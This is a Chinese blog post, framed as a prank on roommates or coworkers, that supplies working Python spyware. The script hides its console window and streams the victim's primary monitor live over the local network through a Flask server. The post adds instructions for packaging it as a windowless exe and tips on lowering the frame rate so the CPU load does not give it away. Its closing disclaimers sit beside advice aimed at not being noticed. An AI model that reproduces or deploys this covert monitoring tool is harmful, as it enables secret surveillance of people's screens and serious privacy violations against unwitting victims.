恶搞舍友/工友之看看你在干什么!

发布日期：2025-03-08

继之前那个"恶搞脚本之借用你的摄像头"后，又突发奇想：既然能看到对方的脸，那能不能看到对方的显示器呢？于是有了这个升级版——不仅能看，还能在多显示器环境下精准选择主显示器进行监控！

同样是无感"偷窥"，这次是桌面级的全方位监控。

Python脚本实现

from flask import Flask, Response
import cv2
import numpy as np
import mss
import sys
import time

# 安装依赖：pip install opencv-python flask mss numpy -i https://mirrors.aliyun.com/pypi/simple/

def hide_console():
    if sys.platform == 'win32':
        import ctypes
        ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

app = Flask(__name__)

# ========== 可配置参数 ==========
OUTPUT_SIZE = None          # 缩放分辨率，例如 (1280, 720) 或 None
FPS_LIMIT = 20              # 帧率限制（建议降低以减少CPU占用，避免被察觉）
JPEG_QUALITY = 85           # JPEG 质量
COLOR_MODE = 'BGR'          # 颜色模式: 'BGR' (默认), 'RGB2BGR', 'BGRA2BGR'
# ===============================

def generate_frames():
    """
    每个客户端连接时独立创建 mss 实例，避免多线程冲突
    """
    with mss.mss() as sct:
        # 选择主显示器（索引1），如果不存在则回退到全虚拟屏幕（索引0）
        if len(sct.monitors) > 1:
            monitor = sct.monitors[1]   # 主显示器
        else:
            monitor = sct.monitors[0]   # 所有屏幕的虚拟组合

        last_time = time.time()

        while True:
            try:
                # 捕获屏幕
                img = sct.grab(monitor)
                # 转为 numpy 数组 (原始格式通常是 RGB 或 BGRA)
                frame = np.array(img)

                # 根据配置进行颜色转换
                if COLOR_MODE == 'RGB2BGR':
                    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
                elif COLOR_MODE == 'BGRA2BGR':
                    frame = cv2.cvtColor(frame, cv2.COLOR_BGRA2BGR)
                # 如果 COLOR_MODE == 'BGR'，则不做任何转换（直接使用原始数据）

                # 可选缩放
                if OUTPUT_SIZE:
                    frame = cv2.resize(frame, OUTPUT_SIZE, interpolation=cv2.INTER_LINEAR)

                # 编码为 JPEG
                encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), JPEG_QUALITY]
                ret, buffer = cv2.imencode('.jpg', frame, encode_param)
                if not ret:
                    continue

                yield (b'--frame\r\n'
                       b'Content-Type: image/jpeg\r\n\r\n' + buffer.tobytes() + b'\r\n')

                # 帧率控制
                if FPS_LIMIT > 0:
                    elapsed = time.time() - last_time
                    sleep_time = 1.0 / FPS_LIMIT - elapsed
                    if sleep_time > 0:
                        time.sleep(sleep_time)
                    last_time = time.time()

            except Exception as e:
                print(f"屏幕捕获异常: {e}")
                # 生成一个错误提示帧，避免客户端断开
                error_img = np.zeros((480, 640, 3), dtype=np.uint8)
                cv2.putText(error_img, "Screen capture error", (50, 240),
                            cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)
                ret, buffer = cv2.imencode('.jpg', error_img)
                frame_bytes = buffer.tobytes() if ret else b''
                yield (b'--frame\r\n'
                       b'Content-Type: image/jpeg\r\n\r\n' + frame_bytes + b'\r\n')
                time.sleep(1)  # 避免错误时疯狂重试

@app.route('/')
def video_feed():
    return Response(generate_frames(),
                    mimetype='multipart/x-mixed-replace; boundary=frame')

if __name__ == '__main__':
    hide_console()  # 若调试时可注释掉
    # debug=False 避免弹窗，threaded=True 支持多线程（现在每个线程独立 mss，不会冲突）
    app.run(host='0.0.0.0', port=8032, debug=False, threaded=True)

运行步骤

  1. 以管理员身份运行：Windows上捕获屏幕可能需要管理员权限
    • 右键点击命令提示符或PowerShell → "以管理员身份运行"
  2. 进入脚本目录并执行： 
    cd /d E:\文章页\共享屏幕
python gongxiangpiingmu.py
  3. 访问地址：
    • 本机：http://127.0.0.1:8032/
    • 局域网其他设备：http://192.168.1.36:8032/（IP以实际显示的为准）
  4. 测试：打开浏览器访问上述地址，应能实时看到主屏幕内容

核心特性

  • 自动选择主显示器：在多显示器环境下，自动选择主显示器（monitors[1]）进行捕获，若不存在则回退到虚拟全屏（monitors[0]）
  • 性能优化：支持帧率限制（FPS_LIMIT）和分辨率缩放（OUTPUT_SIZE），平衡画质与CPU占用。建议将FPS_LIMIT设置为较低值（如10-20），避免高CPU占用引起注意
  • 多线程安全：每个客户端连接独立创建mss实例，彻底解决'_thread._local' object has no attribute 'srcdc'错误
  • 灵活的颜色模式：支持BGR、RGB2BGR、BGRA2BGR三种颜色模式切换，可根据实际显示效果调整
  • 异常处理：即使单次捕获失败也能继续运行并返回错误提示帧，避免生成器意外终止

常见问题与解决方案

1. 报错 '_thread._local' object has no attribute 'srcdc'

原因：mss库在多线程环境下的已知问题，Flask的threaded=True会为每个请求开启新线程。

解决：将mss实例的创建移到generate_frames函数内部（上面代码已修正），确保每个线程拥有独立的屏幕捕获上下文。

2. 屏幕捕获失败

可能原因：Windows上可能需要管理员权限，或者多显示器索引错误。

解决方案：

  • 以管理员身份运行脚本
  • 尝试修改显示器索引：monitor = sct.monitors[0]（索引0代表所有屏幕的虚拟组合）
  • 运行以下代码查看所有显示器信息： 
    import mss
with mss.mss() as sct:
    for i, mon in enumerate(sct.monitors):
        print(i, mon)

3. 颜色显示异常（红蓝颠倒等）

原因：mss在不同系统/环境下返回的原始数据格式可能不同（可能是RGB、BGR或BGRA）。

解决方案：修改代码顶部的 COLOR_MODE 参数：

  • 如果红蓝互换（例如红色的文件夹显示为蓝色）→ 设置 COLOR_MODE = 'RGB2BGR'（最常见的修正）
  • 如果画面整体偏紫或过暗 → 尝试 COLOR_MODE = 'BGRA2BGR'（去除alpha通道）
  • 如果颜色本来就很正常 → 保持 COLOR_MODE = 'BGR'（不做转换）

4. OpenCV编码参数错误

部分OpenCV版本中参数格式可能有问题，使用列表形式而非字典：[int(cv2.IMWRITE_JPEG_QUALITY), 85]

如果问题仍然存在

  • 尝试单线程模式：在 app.run() 中添加 threaded=False，强制单线程模式（牺牲多客户端并发性能，但可确认是否彻底解决冲突）。若单线程下正常，说明确实是多线程问题，上面的解决方案应该已经修复。
  • 更新库版本：确保mss是最新版： 
    pip install --upgrade mss
  • 检查屏幕捕获权限：某些Windows版本（尤其是远程桌面环境）可能禁止屏幕捕获。可以尝试用其他库（如pyautogui）测试，但性能较差，不推荐。

其他用途

这不仅仅是恶搞工具，还可以作为：

  • 远程技术支持：如果有服务器的话，无需安装额外软件，通过浏览器即可实时查看用户屏幕
  • 教学演示：在局域网内分享操作过程，适合培训场景
  • 家庭监控：配合服务器改造，实现远程桌面监控
  • 工作审计：记录员工电脑使用情况（需合法授权）

没有Python环境怎么办？

同样可以打包成exe文件！

示例命令：

# 安装pyinstaller
pip install pyinstaller

# 打包成单个exe文件（无控制台窗口）
pyinstaller --onefile --noconsole --name screen_monitor your_script.py

打包后会生成一个独立的 .exe 文件，可以直接在Windows上运行，无需安装Python环境。

注意事项

  • ⚠️ 本文仅供技术学习和娱乐，请勿用于非法用途
  • ⚠️ 未经他人同意监控他人显示器可能涉及严重的隐私侵权问题
  • ⚠️ 建议在授权范围内使用，请尊重他人隐私权
  • ⚠️ 屏幕共享会消耗一定的CPU资源，为了不被察觉，建议将FPS_LIMIT改低一些（如10-20），高了CPU占用会很突出
  • ⚠️ 首次运行可能需要防火墙允许Python访问网络（指定端口）